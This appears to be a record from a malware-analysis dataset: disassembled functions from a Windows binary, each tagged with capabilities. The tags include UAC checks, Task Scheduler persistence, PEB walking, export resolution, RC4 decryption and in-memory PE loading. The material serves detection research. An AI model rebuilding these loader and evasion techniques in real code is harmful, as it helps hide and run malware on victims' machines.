joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409ec0
Capabilities:
Check os version
Query or enumerate registry value

Disassembly:
sub esp, 0x128
mov eax, dword [0x415028]
xor eax, esp
mov dword [esp + 0x124], eax
push edi
push 0x110
xor edi, edi
lea eax, [esp + 0x1c]
push edi
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x409f96
cmp dword [esp + 0x18], 5
jbe 0x409f96
lea edx, [esp + 4]
push edx
push 0x20019
push edi
mov eax, 4
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], eax
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x409f96
push esi
lea eax, [esp + 0x10]
push eax
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1c]
push edx
push edi
push str.EnableLUA
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 8]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, edi
pop esi
jne 0x409f96
xor eax, eax
cmp dword [esp + 8], edi
pop edi
setne al
mov ecx, dword [esp + 0x124]
xor ecx, esp
call fcn.0040dd0c
add esp, 0x128
ret
mov ecx, dword [esp + 0x128]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040dd0c
add esp, 0x128
ret

Function at 0x409ff0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x210
mov eax, dword [0x415028]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
test edx, edx
je 0x40a059
mov eax, edx
lea esi, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x40a010
sub eax, esi
sar eax, 1
je 0x40a059
push 0x104
lea eax, [esp + 0xc]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [esp + 8]
push ecx
mov ecx, edi
mov esi, eax
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t______thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::operator_wchar_t_const__]
mov eax, esi
pop esi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040dd0c
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
pop esi
xor ecx, esp
xor eax, eax
call fcn.0040dd0c
add esp, 0x210
ret
Function at 0x40a080
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
xor esi, esi
mov dword [esp + 8], esi
cmp dword [0x41559c], esi
je 0x40a0c2
lea eax, [esp + 8]
push eax
call ebx
push eax
call dword [0x41559c]
cmp dword [esp + 8], esi
je 0x40a0c2
mov eax, dword [0x415598]
test eax, eax
je 0x40a0bd
push reloc.OLEAUT32.dll_SysReAllocString
call eax
mov esi, 0x100
lea ecx, [esp + 0xc]
push ecx
or esi, 0x2001f
push esi
push 0
push str.SYSTEMCurrentControlSet_servicesSchedule
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
test esi, esi
jne 0x40a148
lea edx, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x1c]
push ecx
push esi
push str.Start
push edx
mov dword [esp + 0x28], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40a13d
mov eax, 2
cmp dword [esp + 8], eax
je 0x40a13d
mov ecx, dword [esp + 0xc]
push 4
mov dword [esp + 0xc], eax
lea eax, [esp + 0xc]
push eax
push 4
push esi
push str.Start
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call fcn.0040a1a0
test eax, eax
jne 0x40a156
mov esi, 0x80041315
cmp dword [0x41559c], 0
mov dword [esp + 8], 0
je 0x40a18c
lea eax, [esp + 8]
push eax
call ebx
push eax
call dword [0x41559c]
cmp dword [esp + 8], 0
je 0x40a18c
mov eax, dword [0x415594]
test eax, eax
je 0x40a18c
push reloc.OLEAUT32.dll_SysReAllocString
call eax
xor eax, eax
test esi, esi
pop esi
sete al
pop ebx
add esp, 0x10
ret

Function at 0x40a1a0
Capabilities:
Query service status
Start service

Disassembly:
sub esp, 0x1c
push edi
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x40a1be
pop edi
add esp, 0x1c
ret
push esi
push 0x14
push str.Schedule
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x40a1e8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
add esp, 0x1c
ret
lea eax, [esp + 8]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40a21a
push str._nGet_Service_state_error._n
call dword [sym.imp.MSVCR90.dll_printf]
add esp, 4
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
xor eax, eax
pop edi
add esp, 0x1c
ret
cmp dword [esp + 0xc], 1
jne 0x40a230
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x40a206
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop esi
mov eax, 1
pop edi
add esp, 0x1c
ret
Function at 0x40a250
Capabilities:
Get hostname
Get session user name

Disassembly:
sub esp, 0x408
mov eax, dword [0x415028]
xor eax, esp
mov dword [esp + 0x404], eax
xor eax, eax
push 0x3fe
push eax
lea ecx, [esp + 0xe]
push ecx
mov dword [esp + 0xc], 0x200
mov word [esp + 0x10], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [esp]
push edx
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x40a2f5
lea ecx, [esp + 4]
push ecx
mov ecx, esi
call dword [0x4102bc]
lea edx, [esp]
push edx
lea eax, [esp + 8]
push eax
mov dword [esp + 8], 0x200
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x40a2f5
push 0x410cf8
mov ecx, esi
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::operator]
lea ecx, [esp + 4]
push ecx
mov ecx, esi
call dword [sym.imp.mfc90u.dll_ATL::CStringT_wchar_t_class_StrTraitMFC_DLL_wchar_t_class_ATL::ChTraitsCRT_wchar_t_____::operator]
mov eax, 1
mov ecx, dword [esp + 0x404]
xor ecx, esp
call fcn.0040dd0c
add esp, 0x408
ret
mov ecx, dword [esp + 0x404]
xor ecx, esp
xor eax, eax
call fcn.0040dd0c
add esp, 0x408
ret

Function at 0x40a310
Capabilities:
Check os version

Disassembly:
push 0xffffffffffffffff
push 0x40ef46
mov eax, dword fs:[0]
push eax
push ecx
push esi
mov eax, dword [0x415028]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0xf
cmp al, 6
jb 0x40a396
push 0x10
call sub.mfc90u.dll_new
mov esi, eax
add esp, 4
mov dword [esp + 8], esi
mov dword [esp + 0x14], 0
test esi, esi
je 0x40a3e2
push ebx
lea ecx, [esi + 4]
mov dword [esi], vtable.CWinTask.0
call dword [0x4102b8]
mov dword [esi], vtable.CWinTask2.0
mov dword [esi + 0xc], 0
mov eax, esi
mov dword [esi + 8], 0
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
push 0xc
call sub.mfc90u.dll_new
mov esi, eax
add esp, 4
mov dword [esp + 8], esi
mov dword [esp + 0x14], 1
test esi, esi
je 0x40a3e2
push ebx
lea ecx, [esi + 4]
mov dword [esi], vtable.CWinTask.0
call dword [0x4102b8]
mov dword [esi], vtable.CWinTask1.0
mov eax, esi
mov dword [esi + 8], 0
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
xor eax, eax
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x10
ret
Function at 0x40b270
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40edd8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push ebp
push esi
push edi
mov eax, dword [0x415028]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0xc], 0
je 0x40b35e
mov eax, 3
mov word [esp + 0x1c], ax
mov dword [esp + 0x24], 0
mov dword [esp + 0x38], 0
mov ebp, dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov esi, dword [edi + 4]
lea ecx, [esp + 0x1c]
push ecx
call ebp
mov edx, 8
push esi
mov word [esp + 0x20], dx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x24], eax
test eax, eax
jne 0x40b307
test esi, esi
je 0x40b307
mov eax, 0xa
mov word [esp + 0x1c], ax
mov eax, 0x8007000e
mov dword [esp + 0x24], eax
call fcn.004060a0
mov ecx, dword [edi + 0xc]
lea esi, [esp + 0x14]
push esi
mov dword [esp + 0x18], 0
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x34]
push ecx
call eax
test eax, eax
jl 0x40b357
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40b357
mov ecx, dword [eax]
lea edx, [esp + 0x18]
push edx
push eax
mov eax, dword [ecx + 0x24]
call eax
mov esi, eax
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
test esi, esi
jge 0x40b373
mov eax, dword [esp + 0x14]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
lea eax, [esp + 0x1c]
push eax
call ebp
xor eax, eax
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x18], 1
jne 0x40b381
lea ecx, [esp + 0x1c]
push ecx
jmp 0x40b35c
lea edx, [esp + 0x1c]
push edx
call ebp
mov eax, 1
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
mov esp, ebp
pop ebp
ret
Function at 0x40dd0c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x415028]
jne 0x40dd16
repz ret
jmp fcn.0040e23e
Function at 0x1002a476
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100ab634]
jne 0x1002a480
repz ret
jmp fcn.1002d681

Function at 0x1002e2d7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.10029634
and dword [ebp - 4], 0
cmp dword [0x100acdf8], 0
mov ebx, eax
jne 0x1002e388
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x1002e439
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x1002e439
push eax
call fcn.100295c2
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x100acdf8], eax
call esi
push eax
call fcn.100295c2
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x100acdfc], eax
call esi
push eax
call fcn.100295c2
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x100ace00], eax
call esi
push eax
call fcn.100295c2
pop ecx
mov dword [0x100ace08], eax
test eax, eax
je 0x1002e388
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.100295c2
pop ecx
mov dword [0x100ace04], eax
mov eax, dword [0x100ace04]
cmp eax, ebx
je 0x1002e3e0
cmp dword [0x100ace08], ebx
je 0x1002e3e0
push eax
call fcn.1002963d
push dword [0x100ace08]
mov esi, eax
call fcn.1002963d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x1002e3e0
test edi, edi
je 0x1002e3e0
call esi
test eax, eax
je 0x1002e3d7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x1002e3d7
test byte [ebp - 0xc], 1
jne 0x1002e3e0
or dword [ebp + 0x10], 0x200000
jmp 0x1002e419
mov eax, dword [0x100acdfc]
cmp eax, ebx
je 0x1002e419
push eax
call fcn.1002963d
pop ecx
test eax, eax
je 0x1002e419
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x1002e419
mov eax, dword [0x100ace00]
cmp eax, ebx
je 0x1002e419
push eax
call fcn.1002963d
pop ecx
test eax, eax
je 0x1002e419
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x100acdf8]
call fcn.1002963d
pop ecx
test eax, eax
je 0x1002e439
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x1002e43b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1003986f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff8
sub esp, 0x98
call fcn.10001075
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x10039940
jmp 0x10039936
mov eax, dword [esp + 0x20]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
je 0x1003996a
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x20], eax
jmp 0x10039897
lea eax, [esp + 0x28]
mov dword [esp], eax
call fcn.100395a4
lea ecx, [0x1003a215]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x54], edx
mov dword [esp + 0x5c], 0x12ec00
mov edx, dword [0x100ab24c]
mov dword [esp + 0x48], edx
mov edx, dword [0x100ab250]
mov dword [esp + 0x3c], edx
mov dword [0x100ab264], 0x1cfb
mov edx, dword [0x100ab254]
mov dword [esp + 0x44], edx
mov edx, dword [0x100ab258]
mov dword [esp + 0x8c], edx
mov edx, dword [0x100ab25c]
mov dword [esp + 0x38], edx
mov dword [0x100ab260], 0x3721
mov dword [esp + 0x18], eax
mov dword [esp + 0x20], ecx
jmp 0x10039897
mov eax, dword [esp + 0x24]
lea esp, [ebp - 4]
pop esi
pop ebp
ret
lea eax, [esp + 0x38]
mov dword [0x100ab260], 0x1c88
mov dword [esp + 0x14], eax
call fcn.10039f41
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x10], ecx
je 0x100398be
jmp 0x100399df
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
jne 0x100398aa
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x40], ecx
mov edx, dword [esp + 0xc]
mov esi, dword [ecx + edx + 0x50]
mov dword [esp + 0x88], esi
mov dword [0x100ab260], 0x287
mov esi, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], esi
call fcn.1003a52f
mov ecx, dword [0x100ab260]
add ecx, 0x1596
mov dword [0x100ab260], ecx
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x24], eax
jmp 0x10039936
Function at 0x10039cc3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x44
mov eax, dword [ebp + 8]
mov dword [0x100ab260], 0x7d3
mov dword [ebp - 0x10], eax
call fcn.1003a6d0
xor ecx, ecx
mov edx, eax
mov dword [0x100ab260], 0x2094
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x10039d13
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x100ab264], 0x10c6
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x10039dc3
jmp 0x10039dce
mov eax, dword [ebp - 0x34]
movzx ecx, word [eax]
mov dword [0x100ab264], 0x552
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x100ab260], 0x401
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x10039dc3
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x4c], eax
mov byte [ebp - 0x4d], bh
mov byte [ebp - 0x4e], cl
je 0x10039e0b
jmp 0x10039de2
mov eax, dword [ebp - 0x30]
add esp, 0x44
pop esi
pop edi
pop ebx
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], eax
jmp 0x10039d7e
mov al, byte [ebp - 0x4d]
cmp al, 0
setne cl
mov edx, dword [ebp - 0x4c]
add edx, 1
mov ah, byte [ebp - 0x4e]
and ah, cl
cmp edx, 0x20
setb cl
and ah, cl
test ah, 1
mov dword [ebp - 0x48], edx
jne 0x10039d98
mov al, byte [ebp - 0x4e]
test al, 1
jne 0x10039d4d
jmp 0x10039e18
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 2
mov edx, dword [ebp - 0x40]
add edx, 1
mov esi, dword [ebp - 0x2c]
cmp edx, esi
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x30], eax
jb 0x10039d7e
jmp 0x10039dc3
Function at 0x10039f41
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x28
mov dword [ebp - 8], 0
mov dword [0x100ab260], 0xbee
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
mov ecx, 0x26f4
xor edx, edx
mov dword [0x100ab260], 0x26f4
mov esi, dword [ebp - 8]
mov esi, dword [esi + 0x10]
mov esi, dword [esi + 0x3c]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
jmp 0x10039ffd
mov eax, dword [ebp - 0x1c]
mov dword [0x100ab260], 0x1599
mov ecx, dword [ebp - 0x10]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
je 0x1003a01f
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1003a07f
mov eax, dword [ebp - 0x28]
add eax, 0xfffffc2c
mov dword [0x100ab260], eax
mov ecx, dword [ebp - 0x2c]
add ecx, 1
cmp ecx, 0x104
mov edx, ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
jl 0x10039ffd
jmp 0x10039f8a
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
je 0x1003a03d
jmp 0x10039fa6
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
je 0x1003a064
jmp 0x10039fa6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x10]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], esi
je 0x10039f8a
jmp 0x10039fb0
mov dword [0x100ab260], 0x1581
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
je 0x10039fdb
jmp 0x10039fa6
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10039fa6
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x10039fec
jmp 0x10039fa6
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x24], eax
jne 0x10039fa6
mov eax, dword [ebp - 0x24]
add esp, 0x28
pop esi
pop ebp
ret
Function at 0x1003a272
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x28
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x100ab260], 0x545
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
xor eax, eax
mov dword [0x100ab268], 0
mov dword [0x100ab26c], 0
mov dword [0x100ab278], 0
mov ecx, dword [0x100ab264]
add ecx, 0x1628
mov dword [0x100ab264], ecx
mov ecx, dword [ebp - 0x10]
cmp ecx, 0
mov edx, eax
mov esi, eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
je 0x1003a3e2
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov edi, edx
add edi, 1
add eax, 1
mov dword [ebp - 0x2c], edx
cdq
idiv esi
mov dword [0x100ab268], edx
mov ebx, dword [ebp - 0x1c]
movzx ebx, byte [ebx + edx]
add ebx, ecx
mov eax, ebx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x100ab26c], edx
mov dword [0x100ab260], 0x1d10
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x30]
mov cl, byte [ecx + esi]
mov byte [0x100ab270], cl
mov dword [0x100ab264], 0x609
mov ebx, dword [ebp - 0x1c]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov edx, dword [0x100ab264]
add edx, 0x19b1
mov dword [0x100ab260], edx
mov cl, byte [0x100ab270]
mov edx, dword [0x100ab26c]
mov byte [ebx + edx], cl
mov edx, dword [0x100ab268]
movzx edx, byte [ebx + edx]
mov ecx, dword [0x100ab26c]
movzx ecx, byte [ebx + ecx]
add ecx, edx
and ecx, 0xff
mov dword [0x100ab278], ecx
mov edx, dword [0x100ab260]
add edx, 0x223a
mov dword [0x100ab264], edx
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x2c]
mov dl, byte [edx + esi]
xor dl, byte [ebx + ecx]
mov ecx, dword [ebp - 0x18]
mov byte [ecx + esi], dl
mov ecx, dword [ebp - 0x10]
cmp edi, ecx
mov dword [ebp - 0x34], edi
je 0x1003a3e2
mov eax, dword [0x100ab268]
mov ecx, dword [0x100ab26c]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], eax
jmp 0x1003a2eb
add esp, 0x28
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1003a52f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [0x100ab260], 0x132c
mov esi, dword [0x100ab264]
mov edi, esi
add edi, 0xdd7c
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], edx
jmp 0x1003a651
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x38]
add ecx, 0xd1ca
mov edx, dword [ebp - 0x34]
mov dword [0x100ab264], edx
mov dword [0x100ab260], ecx
mov dword [ebp - 0x40], eax
call fcn.10039e42
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.100399ec
xor ecx, ecx
mov dword [0x100ab264], 0x123
cmp eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
je 0x1003a696
mov eax, dword [ebp - 0x44]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x4c], eax
call fcn.1003a426
xor eax, eax
mov ecx, dword [ebp - 0x4c]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xc0
mov dword [ecx + 0xc0], 0x4550
add ecx, 0xffc00000
mov dword [0x100ab260], 0x528
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x28], ecx
mov ecx, dword [0x100ab260]
add ecx, 0xfffff810
mov dword [0x100ab260], ecx
mov ecx, dword [ebp - 0x4c]
mov dword [edx + 0x38], ecx
mov dword [0x100ab264], 0xd26
cmp ecx, 0
mov dword [ebp - 0x48], eax
je 0x1003a696
jmp 0x1003a681
mov eax, dword [ebp - 0x3c]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + str.b_n3]
mov dh, byte [eax + 0x1003b3eb]
sub dh, dl
mov byte [ebp + eax - 0x28], dh
cmp ecx, 0xe
mov dword [ebp - 0x3c], ecx
je 0x1003a56b
jmp 0x1003a651
mov dword [0x100ab260], 0x1421
mov eax, dword [ebp - 0x4c]
add eax, 0x1f11
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
add esp, 0x54
pop esi
pop edi
pop ebp
ret